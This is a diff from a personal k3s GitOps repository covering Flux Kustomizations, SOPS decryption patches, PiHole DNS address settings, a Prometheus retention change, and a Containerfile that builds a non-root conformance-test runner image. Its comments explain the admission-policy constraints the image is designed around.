# its OWN L4 LoadBalancer VIP (Minecraft 25565 is not HTTP, so it does not use the Gateway).
|
||||
platform/crafty/*) echo "R-PLAT-02 R-NET-01 R-DNS-01 R-STATE-01" ;;
|
||||
# Snapshot machinery is the storage/DR path: CSI snapshots (R-STATE-01) feeding backup (R-STATE-03).
|
||||
platform/external-snapshotter/*|platform/backup/*) echo "R-STATE-01 R-STATE-03" ;;
|
||||
# runbooks/ IS the R-OBS-04 surface: alert-runbooks-resolvable asserts every alert's runbook_url
|
||||
# resolves to a served page, and runbooks/serving/ is the Deployment that serves them. That check
|
||||
# is whole-repo-scoped so it runs regardless, but the attribution should still be honest — a
|
||||
# runbook change is an observability change.
|
||||
runbooks/*) echo "R-OBS-04" ;;
|
||||
# platform-config/ is the env-specific configuration Flux substitutes into and applies.
|
||||
platform-config/*|platform-config-cdi/*) echo "R-ENV-02 R-GITOPS-01" ;;
|
||||
# platform/kustomization.yaml is the ASSEMBLY: the list of platform components Flux applies.
|
||||
# Deleting one line there disables an entire component (cilium, longhorn, velero...) while every
|
||||
# file it points at stays perfectly valid on disk, so nothing else in the map would attribute the
|
||||
# change. That is the most consequential single-line edit in the repo and it attributed nothing.
|
||||
platform/kustomization.yaml) echo "R-GITOPS-01" ;;
|
||||
# .sops.yaml holds the encryption rules (which paths must be encrypted, with which keys). A change
|
||||
# here can silently stop a new secret path from being encrypted, which is R-SEC-01's whole point.
|
||||
.sops.yaml) echo "R-SEC-01 R-GITOPS-01" ;;
|
||||
conformance/*) echo "R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04" ;;
|
||||
# infra/ was UNMAPPED until 2026-09-12 — the OpenTofu + Ansible that provision the dev
|
||||
# nodes. conformance/tests/l0-static/dev-nodes-provisioned-as-code reads NOTHING but
|
||||
|
||||
@@ -1,5 +1,19 @@
|
||||
# clusters/
|
||||
|
||||
> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
|
||||
> This document speaks as though no cluster exists and the platform is scaffolding. **A
|
||||
> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
|
||||
> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
|
||||
> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
|
||||
> describing a **live gap** rather than an expected stage — most importantly, L2/L3
|
||||
> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
|
||||
> coverage hole, not a phase.
|
||||
>
|
||||
> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
|
||||
> documentation rather than measurement, and `main` was unprotected with zero runners
|
||||
> registered the whole time. **Query the live API before asserting platform state.**
|
||||
|
||||
|
||||
Flux entrypoints and the environment-overlay model (**R-ENV-02**, **R-GITOPS-01/02/03**).
|
||||
|
||||
Governing spec: [`docs/05-gitops-and-delivery.md`](../../home-network-k3s/docs/05-gitops-and-delivery.md),
|
||||
|
||||
@@ -99,7 +99,9 @@ data:
|
||||
# (CILIUM_LB_POOL_*, and keycloak-db's S3_BACKUP_ENDPOINT + CNPG_BACKUP_PATH: the Cluster lives at
|
||||
# platform/keycloak/postgres-cluster.yaml but is rendered by platform-config, which is the ONLY
|
||||
# tier that lists it), crafty (CRAFTY_L4_VIP), apps-wave-0 (nextcloud-db + semaphore-db:
|
||||
# S3_BACKUP_ENDPOINT, CNPG_BACKUP_PATH), velero (S3_BACKUP_ENDPOINT, S3_BACKUP_REGION,
|
||||
# S3_BACKUP_ENDPOINT, CNPG_BACKUP_PATH; pihole + pihole-dns: PIHOLE_DNS_VIP, LAN_CIDR, plus
|
||||
# GATEWAY_VIP/UNIFI_L4_VIP/CRAFTY_L4_VIP read BY pihole to author its LAN split-horizon answers),
|
||||
# velero (S3_BACKUP_ENDPOINT, S3_BACKUP_REGION,
|
||||
# VELERO_BACKUP_BUCKET, VELERO_BACKUP_PREFIX), apps-vms (UNIFI_L4_VIP). A ${TOKEN} in an
|
||||
# UNSUBSTITUTED path would ship the literal string into the cluster.
|
||||
#
|
||||
@@ -159,6 +161,30 @@ data:
|
||||
# HTTPS Gateway cannot express (raw TCP/UDP), so they hold their own stable address:
|
||||
UNIFI_L4_VIP: "192.168.1.54" # UniFi controller VM: inform/STUN/adoption (apps/vms/unifi)
|
||||
CRAFTY_L4_VIP: "192.168.1.55" # Crafty: Minecraft Java (TCP) + Bedrock (UDP) game ports
|
||||
# PiHole's DNS listener: udp/53 + tcp/53 for LAN CLIENTS (apps/wave-0/pihole-dns.yaml). It is a
|
||||
# THIRD pinned L4 VIP for the same reason as the two above — the `shared` Gateway is an L7 HTTPS
|
||||
# terminator and cannot express DNS at all (udp/53 especially). It must NOT be ${GATEWAY_VIP}:
|
||||
# LAN clients are pointed at this address as their resolver, and it has to stay put across
|
||||
# reschedules, so it is pinned by lbipam.cilium.io/ips rather than taken from the pool head.
|
||||
#
|
||||
# WHY A SEPARATE ADDRESS AND NOT THE GATEWAY VIP: every `<svc>.${BASE_DOMAIN}` name resolves TO
|
||||
# the Gateway VIP. Serving DNS from the same address would be legal but conflates "the thing that
|
||||
# answers where services live" with "a service", and it would put LAN resolution behind the
|
||||
# Gateway Service's own lifecycle. Keep them separate.
|
||||
#
|
||||
# dev -> 192.168.1.56 (base default; next free after crafty .55 in dev's .53-.60 pool)
|
||||
# prod -> 192.168.2.23 (next free after crafty .22 in prod's .20-.30 pool; see clusters/prod)
|
||||
PIHOLE_DNS_VIP: "192.168.1.56" # PiHole: authoritative LAN DNS for ${BASE_DOMAIN}
|
||||
|
||||
# The FLAT LAN this cluster's nodes and LB VIPs live on, in CIDR form. Consumed as the ingress
|
||||
# peer of the PiHole DNS CiliumNetworkPolicy (apps/wave-0/pihole-dns.yaml): a resolver reachable
|
||||
# from `world` is an open resolver and an amplification reflector, so the allow is scoped to this
|
||||
# CIDR, not to Cilium's `world` entity the way the unifi/crafty game-port allows are. It is the
|
||||
# same /24 the node IPs and ${CILIUM_LB_POOL_START}..${CILIUM_LB_POOL_STOP} come out of.
|
||||
#
|
||||
# dev -> 192.168.1.0/24 (Proxmox LAN; nodes .50/.51/.52)
|
||||
# prod -> 192.168.2.0/24 (prod LAN; nodes .10/.11/.12)
|
||||
LAN_CIDR: "192.168.1.0/24" # ingress scope for the PiHole DNS listener
|
||||
|
||||
# --- Bulk (external NFS) storage host (docs/04 bulk tier) ---------------------------------------
|
||||
# THE address of the Proxmox host whose ZFS datasets back every `class: bulk` volume: the media
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
---
|
||||
# Conformance identities (ns + conformance-runner + conformance-trigger RBAC).
|
||||
#
|
||||
# NON-GATING, exactly like apps-vms: `wait: false` and its own Kustomization, so a conformance
|
||||
# identity can never gate the platform or app tiers. A test harness that stalls the estate it is
|
||||
# meant to verify is worse than no harness.
|
||||
#
|
||||
# dependsOn platform-config only — it needs nothing from the app waves, and nothing in the app
|
||||
# waves needs it.
|
||||
#
|
||||
# NOTE: this reconciles RBAC that is INERT until
|
||||
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is also enforcing. That policy
|
||||
# ships in the `platform` tier, which reconciles before this. Do not reorder them so that the
|
||||
# trigger identity can exist while the policy bounding it does not.
|
||||
apiVersion: kustomize.toolkit.fluxcd.io/v1
|
||||
kind: Kustomization
|
||||
metadata:
|
||||
name: conformance
|
||||
namespace: flux-system
|
||||
spec:
|
||||
interval: 10m
|
||||
retryInterval: 2m
|
||||
timeout: 5m
|
||||
prune: true
|
||||
wait: false
|
||||
dependsOn:
|
||||
- name: platform-config
|
||||
sourceRef:
|
||||
kind: GitRepository
|
||||
name: flux-system
|
||||
path: ./conformance/incluster
|
||||
@@ -33,6 +33,7 @@ resources:
|
||||
- apps-wave-2.yaml # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
|
||||
# VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
|
||||
- apps-vms.yaml # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
|
||||
- conformance.yaml # Flux Kustomization -> ./conformance/incluster (non-gating; R-SEC-02 trigger identity)
|
||||
# oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
|
||||
# service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
|
||||
# `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).
|
||||
|
||||
@@ -122,6 +122,23 @@ patches:
|
||||
provider: sops
|
||||
secretRef:
|
||||
name: sops-age
|
||||
# apps-vms (the KubeVirt VM tier, clusters/base/apps-vms.yaml) gained its FIRST encrypted Secret
|
||||
# on 2026-09-14: apps/vms/unifi/unifi-uos-installer.sops.yaml, the operator's UOS installer URL,
|
||||
# which 30-virtualmachine.yaml mounts into the guest as a disk. Without this stanza kustomize
|
||||
# would hand Flux the raw SOPS document and the VM would mount a disk full of ciphertext — the
|
||||
# failure is silent from the cluster's point of view (the Secret applies fine), so the stanza is
|
||||
# as load-bearing as the file itself. The `sops-age` Secret is out-of-band (name only).
|
||||
- patch: |-
|
||||
apiVersion: kustomize.toolkit.fluxcd.io/v1
|
||||
kind: Kustomization
|
||||
metadata:
|
||||
name: apps-vms
|
||||
namespace: flux-system
|
||||
spec:
|
||||
decryption:
|
||||
provider: sops
|
||||
secretRef:
|
||||
name: sops-age
|
||||
- patch: |-
|
||||
apiVersion: source.toolkit.fluxcd.io/v1
|
||||
kind: GitRepository
|
||||
|
||||
@@ -113,6 +113,23 @@ patches:
|
||||
provider: sops
|
||||
secretRef:
|
||||
name: sops-age
|
||||
# apps-vms (the KubeVirt VM tier, clusters/base/apps-vms.yaml) gained its FIRST encrypted Secret
|
||||
# on 2026-09-14: apps/vms/unifi/unifi-uos-installer.sops.yaml, the operator's UOS installer URL,
|
||||
# which 30-virtualmachine.yaml mounts into the guest as a disk. Without this stanza kustomize
|
||||
# would hand Flux the raw SOPS document and the VM would mount a disk full of ciphertext — the
|
||||
# failure is silent from the cluster's point of view (the Secret applies fine), so the stanza is
|
||||
# as load-bearing as the file itself. Mirrors clusters/dev. `sops-age` is out-of-band (name only).
|
||||
- patch: |-
|
||||
apiVersion: kustomize.toolkit.fluxcd.io/v1
|
||||
kind: Kustomization
|
||||
metadata:
|
||||
name: apps-vms
|
||||
namespace: flux-system
|
||||
spec:
|
||||
decryption:
|
||||
provider: sops
|
||||
secretRef:
|
||||
name: sops-age
|
||||
# --- GitOps source (operator decision 2026-09-01: prod tracks the SAME BRANCH as dev) ---
|
||||
#
|
||||
# ############################################################################################
|
||||
@@ -349,8 +366,16 @@ patches:
|
||||
# Size-cap below the 50Gi PVC (headroom for WAL + head + compaction scratch): prod may hit the
|
||||
# size cap before 30d if series volume is high, keeping the disk from filling either way.
|
||||
- op: replace
|
||||
# LOWERED 45GiB -> 36GiB on 2026-09-13. 45 of 50Gi left only 5 GiB, which is not headroom for
|
||||
# what the comment above already names: retentionSize counts ONLY persisted blocks, not the WAL,
|
||||
# not the head's in-flight segments, and not compaction scratch, and a large compaction can need
|
||||
# roughly the size of the blocks being merged. At 90% one bad compaction is ENOSPC, and ENOSPC on
|
||||
# /prometheus wedges every WAL commit: scrapes keep succeeding, nothing is stored, and every
|
||||
# absent()/==0 alert in the platform fires falsely at once. Costs NO history: the TSDB is 11.2 GiB
|
||||
# at 30d today, so 36GiB is ~3x current and 30d stays the binding limit. To keep more history,
|
||||
# grow the PVC rather than the fraction of it.
|
||||
path: /data/MONITORING_PROMETHEUS_RETENTION_SIZE
|
||||
value: "45GiB"
|
||||
value: "36GiB"
|
||||
- op: replace
|
||||
path: /data/MONITORING_LOKI_PVC_SIZE
|
||||
value: "50Gi"
|
||||
@@ -440,6 +465,23 @@ patches:
|
||||
- op: replace
|
||||
path: /data/CRAFTY_L4_VIP
|
||||
value: "192.168.2.22"
|
||||
# PiHole's DNS listener VIP — udp/53 + tcp/53 for LAN clients (apps/wave-0/pihole-dns.yaml).
|
||||
# 192.168.2.23 is the NEXT FREE address in the prod pool 192.168.2.20-.30, verified live
|
||||
# 2026-09-14: the CiliumLoadBalancerIPPool `default-pool` reported IPsTotal 11 / IPsUsed 3 /
|
||||
# IPsAvailable 8, and the only three allocations are .20 (cilium-gateway-shared), .21
|
||||
# (unifi-l4-tcp/-udp) and .22 (crafty-l4-tcp/-udp). ARP-probed from a LAN host in the same
|
||||
# broadcast domain (arping 192.168.2.23, 3 probes, 0 responses), so nothing off-cluster holds
|
||||
# it either, and it is inside the pool block the operator already asserted sits outside the
|
||||
# SOHO router's DHCP scope.
|
||||
- op: replace
|
||||
path: /data/PIHOLE_DNS_VIP
|
||||
value: "192.168.2.23"
|
||||
# The prod flat LAN. This is the 192.168.2.0/24 segment the SOHO ROUTER at 192.168.2.1 owns —
|
||||
# NOT pfSense's 192.168.1.0/24, which is a different network and not in the LAN-DNS path.
|
||||
# It scopes the ingress allow for PiHole's DNS listener to LAN clients only.
|
||||
- op: replace
|
||||
path: /data/LAN_CIDR
|
||||
value: "192.168.2.0/24"
|
||||
# ------------------------------------------------------------------------------------------
|
||||
# BULK (EXTERNAL NFS) STORAGE HOST — *** NOT YET DECIDED. THIS PLACEHOLDER IS LOAD-BEARING. ***
|
||||
# ------------------------------------------------------------------------------------------
|
||||
|
||||
@@ -1,5 +1,19 @@
|
||||
# conformance/ — the home-k3s conformance harness (WS-TEST)
|
||||
|
||||
> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
|
||||
> This document speaks as though no cluster exists and the platform is scaffolding. **A
|
||||
> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
|
||||
> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
|
||||
> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
|
||||
> describing a **live gap** rather than an expected stage — most importantly, L2/L3
|
||||
> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
|
||||
> coverage hole, not a phase.
|
||||
>
|
||||
> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
|
||||
> documentation rather than measurement, and `main` was unprotected with zero runners
|
||||
> registered the whole time. **Query the live API before asserting platform state.**
|
||||
|
||||
|
||||
This subtree is the **definition of "done"** for the whole platform. Nothing is accepted
|
||||
on a demo, a screenshot, or "it reconciled": every requirement is proven by an
|
||||
**automated, reproducible, behavior-based test** tagged with the requirement ID(s) it
|
||||
|
||||
@@ -0,0 +1,200 @@
|
||||
# =============================================================================
|
||||
# conformance-runner — the image the in-cluster L2/L3 Chainsaw Job actually runs.
|
||||
# Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
|
||||
#
|
||||
# WHY THIS EXISTS. chainsaw-job.yaml pins `ghcr.io/kyverno/chainsaw:v0.2.12` and
|
||||
# `command: ["./run.sh"]`. That image carries the chainsaw binary and almost nothing else —
|
||||
# no bash, no python3, no kubectl, no git. So the committed Job could never have run: it
|
||||
# would have failed at exec of `./run.sh`. This image carries exactly what
|
||||
# `conformance/run.sh` needs:
|
||||
#
|
||||
# bash run.sh and every tests/**/check.sh are bash (arrays, mapfile, BASH_SOURCE)
|
||||
# python3 lib/{run_l1_offline,gen_coverage,merge_junit,emit_skipped_junit,status}.py
|
||||
# (stdlib only — conformance/versions.env PYTHON_MIN=3.9, so no pip layer)
|
||||
# chainsaw the L1/L2/L3 runner itself (run_chainsaw / lint_tests)
|
||||
# kubectl conf_cluster_reachable()'s `kubectl cluster-info` preflight + probe scripts
|
||||
# git the init-container's `clone --depth 1` + `checkout <SHA>` (§3 item 2) and
|
||||
# run.sh's `rev-parse --short HEAD` for the run id
|
||||
# tar/gzip/coreutils the `=== ARTIFACTS-TGZ-BASE64 ===` results channel (§3 item 3)
|
||||
#
|
||||
# It also carries `/usr/local/bin/conformance-clone` (0755 root:root) — the init container's
|
||||
# ONLY entrypoint, a fixed path with no argument surface. That exists to close an admission
|
||||
# hole, not for convenience: see the COPY below and the script's own header.
|
||||
#
|
||||
# VERSIONS COME FROM infra/devcontainer/versions.env — NOT from new pins invented here.
|
||||
# That file is the single source of truth for CHAINSAW_VERSION / KUBECTL_VERSION /
|
||||
# FEDORA_VERSION, and build-image.sh sources it and passes them in as --build-arg. The
|
||||
# ARG defaults below are deliberately EMPTY so a build that forgets to pass them fails
|
||||
# loudly (see the assertion in the first RUN) instead of silently baking a stale version.
|
||||
#
|
||||
# KNOWN LIMIT — READ BEFORE CHOOSING THE JOB'S `args`.
|
||||
# `run.sh` runs the selected OFFLINE L0/L1 checks (run_offline_checks) before it ever
|
||||
# touches the cluster, for ANY selection that is not offline-only. Those checks shell out
|
||||
# to flux / promtool / kyverno / kustomize, which this image deliberately does NOT carry —
|
||||
# baking the whole devcontainer toolchain into the runner would roughly double its size to
|
||||
# re-run work that ci/l0.sh + ci/l1.sh already did offline in the same CI run. So the Job
|
||||
# must select the cluster-gated layers only, e.g. `args: ["--layer", "l2"]` /
|
||||
# `["--layer", "l3"]`, where offline_selected_dirs() resolves to nothing and
|
||||
# run_offline_checks() returns 0. `--layer all` and a bare `--requirements <IDs>` would drag
|
||||
# the L0 checks in and fail on a missing tool. Flagged to the plan owner; choosing the Job's
|
||||
# args is T-6.1b's call, not this image's.
|
||||
#
|
||||
# THE ADMISSION CONTRACT THIS IMAGE MUST SATISFY.
|
||||
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is a fail-closed Enforce
|
||||
# ClusterPolicy (R-SEC-02) and it is the security boundary. It requires the Job's container
|
||||
# to be `gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*` — a DIGEST,
|
||||
# never a tag — with `runAsNonRoot: true` and `allowPrivilegeEscalation: false`. Two
|
||||
# consequences are baked in here:
|
||||
#
|
||||
# 1. `USER` is NUMERIC. With `runAsNonRoot: true` and no explicit `runAsUser`, the kubelet
|
||||
# REJECTS an image whose USER is a name it cannot resolve to a uid
|
||||
# ("container has runAsNonRoot and image has non-numeric user"). So: USER 65532:65532.
|
||||
# 2. The pod is `readOnlyRootFilesystem: true` and the policy admits only the `workspace`
|
||||
# and `results` volumes — there is no writable /tmp and one cannot be added without
|
||||
# changing the boundary. So HOME and every cache path point INTO /workspace (the
|
||||
# emptyDir), not at the read-only root. That is why HOME=/workspace below.
|
||||
# =============================================================================
|
||||
|
||||
# --- builder: fetch the pinned release binaries ------------------------------
|
||||
# A full Fedora for the download stage (it has curl + tar); none of it ships in the runtime
|
||||
# image, so the runner does not carry a downloader it has no business having at runtime.
|
||||
ARG FEDORA_VERSION=44
|
||||
FROM registry.fedoraproject.org/fedora:${FEDORA_VERSION} AS builder
|
||||
|
||||
ARG CHAINSAW_VERSION=
|
||||
ARG KUBECTL_VERSION=
|
||||
ARG TARGETARCH=amd64
|
||||
|
||||
# Fail the BUILD — not the Job, three weeks later — if a pin was not passed in.
|
||||
RUN set -eux; \
|
||||
: "${CHAINSAW_VERSION:?pass --build-arg CHAINSAW_VERSION from infra/devcontainer/versions.env}"; \
|
||||
: "${KUBECTL_VERSION:?pass --build-arg KUBECTL_VERSION from infra/devcontainer/versions.env}"
|
||||
|
||||
# Same URLs and the same arch handling as infra/devcontainer/Containerfile, so the chainsaw
|
||||
# and kubectl in this image are the same builds the toolbox gate runs with.
|
||||
#
|
||||
# INTEGRITY, MEASURED NOT ASSUMED. kubectl publishes a plain `<url>.sha256`, so it is verified
|
||||
# below. chainsaw publishes NO checksums file — the v0.2.12 release assets are the tarballs plus
|
||||
# per-asset cosign `.sig`/`.pem` and an SBOM (listed via the GitHub releases API). So chainsaw's
|
||||
# integrity here rests on the tag + TLS, and afterwards on this image's own digest.
|
||||
# TODO, worth doing and deliberately not smuggled in here: verify chainsaw with
|
||||
# `cosign verify-blob --certificate chainsaw_linux_amd64.tar.gz.pem
|
||||
# --signature chainsaw_linux_amd64.tar.gz.sig ...`. That needs cosign in the builder stage and
|
||||
# the correct keyless identity/issuer for kyverno's release workflow — a supply-chain decision
|
||||
# that belongs in its own reviewed change, not as a silent addition to a runner image.
|
||||
# infra/devcontainer/Containerfile has the same gap for the same binary.
|
||||
RUN set -eux; \
|
||||
mkdir -p /out; \
|
||||
curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl" \
|
||||
-o /out/kubectl; \
|
||||
curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl.sha256" \
|
||||
-o /tmp/kubectl.sha256; \
|
||||
echo "$(cat /tmp/kubectl.sha256) /out/kubectl" | sha256sum -c -; \
|
||||
curl -fsSL "https://github.com/kyverno/chainsaw/releases/download/v${CHAINSAW_VERSION}/chainsaw_linux_${TARGETARCH}.tar.gz" \
|
||||
| tar -xz -C /out chainsaw; \
|
||||
chmod 0755 /out/kubectl /out/chainsaw; \
|
||||
/out/kubectl version --client=true --output=yaml >/dev/null; \
|
||||
/out/chainsaw version >/dev/null
|
||||
|
||||
# --- runtime -----------------------------------------------------------------
|
||||
ARG FEDORA_VERSION=44
|
||||
FROM registry.fedoraproject.org/fedora-minimal:${FEDORA_VERSION}
|
||||
|
||||
ARG CHAINSAW_VERSION=
|
||||
ARG KUBECTL_VERSION=
|
||||
ARG FEDORA_VERSION=44
|
||||
# Nonroot uid/gid. 65532 is the distroless `nonroot` convention; the value is arbitrary but
|
||||
# it MUST be numeric and non-zero — see "THE ADMISSION CONTRACT" above.
|
||||
ARG RUNNER_UID=65532
|
||||
ARG RUNNER_GID=65532
|
||||
|
||||
LABEL org.opencontainers.image.title="conformance-runner" \
|
||||
org.opencontainers.image.description="bash + python3 + chainsaw + kubectl + git for the in-cluster L2/L3 conformance Job (conformance/run.sh)" \
|
||||
org.opencontainers.image.source="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl" \
|
||||
org.opencontainers.image.documentation="conformance/incluster/README.md" \
|
||||
homelab.keithjackson.dev/requirements="R-TEST-02,R-SEC-02"
|
||||
|
||||
# bash: run.sh + every check.sh. python3: the stdlib report generators.
|
||||
# git-core: the init-container clone (git-core, not git — drops the perl/svn tail).
|
||||
# coreutils/findutils/grep/sed/gawk: find, sort, base64, xargs, sed -nE, awk in lib/*.sh.
|
||||
# tar+gzip: the base64-tar results channel. diffutils: `diff` in the L1 golden compare.
|
||||
# ca-certificates: TLS for the init clone and for kubectl's in-cluster API calls.
|
||||
RUN set -eux; \
|
||||
microdnf -y install --setopt=install_weak_deps=0 --nodocs \
|
||||
bash python3 git-core coreutils findutils grep sed gawk tar gzip diffutils \
|
||||
ca-certificates; \
|
||||
microdnf clean all; \
|
||||
rm -rf /var/cache/* /var/log/dnf*
|
||||
|
||||
COPY --from=builder /out/kubectl /out/chainsaw /usr/local/bin/
|
||||
|
||||
# The init container's ONLY entrypoint. Copied as a file with a fixed path and NO argument
|
||||
# surface, because the admission policy pins the main container's `command` but never reads
|
||||
# `initContainers` — so an init container with `command: ["/bin/sh","-c"]` and an arbitrary
|
||||
# script is currently ADMITTED and runs as the privileged `conformance-runner` SA (reproduced
|
||||
# by the policy's author; pass 3, fail 0). A 4th policy rule requiring
|
||||
# `command: ["/usr/local/bin/conformance-clone"]` with no `args` is what makes this file
|
||||
# REQUIRED rather than merely available; that rule belongs in its own reviewed PR against the
|
||||
# boundary, not here. See the script's header for the env-injection half of the same hole.
|
||||
#
|
||||
# 0755 root:root: the container runs as 65532 and MUST NOT be able to replace the one
|
||||
# executable the policy will trust. Ownership is asserted below rather than assumed.
|
||||
COPY conformance-clone /usr/local/bin/conformance-clone
|
||||
RUN set -eux; \
|
||||
chown root:root /usr/local/bin/conformance-clone; \
|
||||
chmod 0755 /usr/local/bin/conformance-clone; \
|
||||
bash -n /usr/local/bin/conformance-clone; \
|
||||
/usr/local/bin/conformance-clone --anything 2>&1 | grep -q 'takes no arguments'; \
|
||||
test "$(stat -c '%U:%G %a' /usr/local/bin/conformance-clone)" = 'root:root 755'
|
||||
|
||||
# The nonroot account is written directly rather than pulling in shadow-utils to run useradd
|
||||
# once. HOME is /workspace because at runtime that emptyDir is the only writable path.
|
||||
RUN set -eux; \
|
||||
echo "runner:x:${RUNNER_UID}:${RUNNER_GID}:conformance runner:/workspace:/bin/bash" >> /etc/passwd; \
|
||||
echo "runner:x:${RUNNER_GID}:" >> /etc/group; \
|
||||
install -d -m 0775 -o "${RUNNER_UID}" -g "${RUNNER_GID}" /workspace
|
||||
|
||||
# SYSTEM-level config, because HOME is an emptyDir that starts empty on every run and the
|
||||
# root filesystem is read-only — a runtime `--global` write would fail.
|
||||
# safe.directory=*: the init-container clones into the shared emptyDir and the main container
|
||||
# then runs `rev-parse` over it; any uid mismatch between the two would otherwise abort with
|
||||
# "detected dubious ownership". The repo is fetched fresh per run into an emptyDir, so there
|
||||
# is no pre-existing hostile checkout this relaxes a check against.
|
||||
RUN set -eux; \
|
||||
printf '%s\n' \
|
||||
'[safe]' \
|
||||
' directory = *' \
|
||||
'[advice]' \
|
||||
' detachedHead = false' \
|
||||
> /etc/gitconfig; \
|
||||
chmod 0644 /etc/gitconfig
|
||||
|
||||
# Provenance: what is actually in this layer, readable from a running pod.
|
||||
RUN set -eux; \
|
||||
{ echo "fedora=${FEDORA_VERSION}"; \
|
||||
echo "chainsaw=${CHAINSAW_VERSION}"; \
|
||||
echo "kubectl=${KUBECTL_VERSION}"; \
|
||||
echo "bash=$(bash --version | head -1)"; \
|
||||
echo "python3=$(python3 --version)"; \
|
||||
echo "git=$(git --version)"; \
|
||||
echo "conformance-clone=$(sha256sum /usr/local/bin/conformance-clone | cut -d' ' -f1)"; \
|
||||
} > /etc/conformance-runner-versions; \
|
||||
chmod 0444 /etc/conformance-runner-versions
|
||||
|
||||
# Every writable path points into the `workspace` emptyDir — the root filesystem is
|
||||
# read-only and the admission policy forbids adding a third volume for scratch.
|
||||
ENV HOME=/workspace \
|
||||
XDG_CACHE_HOME=/workspace/.cache \
|
||||
XDG_CONFIG_HOME=/workspace/.config \
|
||||
TMPDIR=/workspace/.tmp \
|
||||
PYTHONDONTWRITEBYTECODE=1 \
|
||||
CONF_ROOT=/workspace/conformance
|
||||
|
||||
USER ${RUNNER_UID}:${RUNNER_GID}
|
||||
WORKDIR /workspace
|
||||
|
||||
# No ENTRYPOINT on purpose. The admission policy pins `command: ["./run.sh"]` with
|
||||
# `workingDir: /workspace/conformance`; an ENTRYPOINT here would either be ignored or
|
||||
# prepend something the policy cannot see. `bash` is the interactive fallback for a human
|
||||
# debugging the image locally.
|
||||
CMD ["/bin/bash"]
|
||||
@@ -1,5 +1,19 @@
|
||||
# In-cluster conformance Job (L2/L3)
|
||||
|
||||
> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
|
||||
> This document speaks as though no cluster exists and the platform is scaffolding. **A
|
||||
> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
|
||||
> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
|
||||
> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
|
||||
> describing a **live gap** rather than an expected stage — most importantly, L2/L3
|
||||
> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
|
||||
> coverage hole, not a phase.
|
||||
>
|
||||
> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
|
||||
> documentation rather than measurement, and `main` was unprotected with zero runners
|
||||
> registered the whole time. **Query the live API before asserting platform state.**
|
||||
|
||||
|
||||
Per **ADR-0011** and **docs/14 "Where each layer runs"**: L0/L1 run in CI without a
|
||||
cluster, but **L2 behavioral and L3 fault-injection run as an in-cluster Chainsaw Job**
|
||||
on the dev/test cluster that **CI triggers and waits for**. CI holds **no** cluster
|
||||
@@ -11,20 +25,86 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
|
||||
commented with the test/requirement that needs it — only as the matching fault-injection
|
||||
test lands. This is a **privileged test identity**: never reused by workloads, its own
|
||||
audit item.
|
||||
- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
|
||||
`--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
|
||||
exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
|
||||
- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
|
||||
run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
|
||||
commit under test; artifacts leave over stdout. Its header is the authority on the
|
||||
substitution tokens and the admission constraints it satisfies, and records the
|
||||
`initContainers` hole that was found and closed alongside it — read it before editing
|
||||
either file.
|
||||
- `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` +
|
||||
`kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root
|
||||
filesystem. This is what the Job actually needs; the stock chainsaw image carries none of
|
||||
it. Versions are `--build-arg`-injected from `infra/devcontainer/versions.env` — the single
|
||||
source of truth — so the chainsaw/kubectl in the runner are the same pins the toolbox gate
|
||||
uses. Read its header before changing the Job's `args`: `run.sh` runs the selected offline
|
||||
L0/L1 checks for any non-offline-only selection, and those need flux/promtool/kyverno/
|
||||
kustomize, which this image deliberately omits. Use `--layer l2` / `--layer l3`.
|
||||
- `conformance-clone` — the init container's **only** entrypoint, baked into the image at
|
||||
`/usr/local/bin/conformance-clone` (0755 **root:root**, so uid 65532 cannot replace it).
|
||||
It is a file in the image rather than an inline script in the Job precisely so admission
|
||||
can pin it: a policy cannot tell the committed script from an attacker's when both are
|
||||
just `args` on `/bin/bash -c`. Clones the impl repo at the commit under test: the SHA must
|
||||
match `^[0-9a-f]{40}$` and `rev-parse HEAD` is **asserted** equal to it afterwards, so an
|
||||
unrendered placeholder is a hard failure rather than a silent run of the branch tip. It
|
||||
takes **no arguments**, and the repository URL and clone target are **compiled in** —
|
||||
